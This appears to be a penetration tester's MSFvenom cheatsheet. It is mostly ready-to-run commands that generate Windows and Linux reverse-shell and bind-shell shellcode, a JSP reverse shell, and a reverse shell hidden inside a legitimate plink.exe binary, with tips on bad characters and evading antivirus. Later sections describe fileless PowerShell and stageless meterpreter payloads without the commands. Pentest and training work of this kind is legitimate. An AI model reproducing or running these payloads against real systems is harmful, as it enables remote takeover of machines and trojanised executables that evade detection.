MSFvenom Cheatsheet
My various MSFvenom commands to generate shellcode, reverse shells, and meterpreter payloads that I end up using over, and over, and over, and over...
Shellcode Generation
Windows Reverse TCP Shell (Shellcode x86)
Only use this one if payload size is no problem and you can't determine the bad chars:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f c -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40"Windows Reverse TCP Shell Embedded in `plink.exe`
Note: shikata_ga_nai encoder is deprecated and easily detected by modern AVs. Use -e x64/zutto_dekiru for x64 or avoid encoding entirely if not needed.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -x /usr/share/windows-binaries/plink.exe -o burmat_embedded.exeBind Shell Shellcode
msfvenom -p windows/shell_bind_tcp RHOST=10.11.11.11 LPORT=1337 -b '\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40' -f pythonReverse Shells
Oddball reverse shells that can trip you up. Those "Wait, I've done this before?" moments. Like when you see Tomcat running with default credentials or a ColdFusion site.
JSP Reverse Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw -o burmat.jspJavaScript Reverse Shells
If you are attacking a Windows host:
If you are attacking a Linux host: msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 CMD=/bin/bash -f js_le -e generic/none
WAR (Java) Reverse Shell
Modern Payloads
PowerShell One-Liner (Base64 Encoded)
Generate a PowerShell payload that can be executed directly via command line. Useful for remote execution without touching disk.
Python Stageless Payload
Stageless payloads are more reliable and don't require callback staging. Great for Linux targets with Python installed.
Windows Stageless Meterpreter (x64)
Stageless payloads include the full meterpreter in the payload, avoiding multi-stage detection. Larger file size but more reliable.
PowerShell Reflection (Fileless)
Generate PowerShell that loads meterpreter via reflection, never touching disk. Best for modern Windows environments with logging.
Last updated